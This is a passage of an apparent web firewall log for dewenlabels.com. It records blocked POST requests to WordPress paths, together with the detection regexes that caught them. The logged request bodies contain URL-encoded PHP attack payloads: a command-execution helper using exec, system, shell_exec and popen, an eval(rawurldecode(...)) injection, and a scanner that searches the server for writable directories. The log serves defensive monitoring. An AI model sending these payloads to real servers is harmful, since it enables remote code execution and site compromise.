0%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 10:20:43","147.135.37.185","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Km:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF20vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-length:3360\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nKm=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 10:20:46","185.16.36.161","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:3383\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));"]
["2026-05-12 10:20:52","43.230.201.87","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vn:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqz4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:3360\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nvn=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27cust_accept02%27%2C%27profileinfo%27%2C%27mcp_details%27%2C%27changeTut%27%2C%27adminlogin%27%2C%27altres_contactes%27%2C%27webdbsetup%27%2C%27xmlfeed.class%27%2C%27admin_maria%27%2C%27mail_queue%27%2C%27index.1317078934%27%2C%27toolbar.sections%27%2C%27modifier.spacify%27%2C%27phocagallerycos%27%2C%27class.routing%27%2C%27table.forums%27%2C%27researchAreas%27%2C%27createroom.inc%27%2C%27cache_smilies%27%2C%27mod_nivoslider%27%2C%27DataControl%27%2C%27busi_accept05%27%2C%27usergroup_14%27%2C%27sadtab_forgetpw%27%2C%27upper_left_menu%27%2C%27thumbs_img%27%2C%27replacement%27%2C%27whos_online%27%2C%27info_acp_modman%27%2C%27abusereports%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 10:20:59","167.172.79.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> BF:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDxLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google 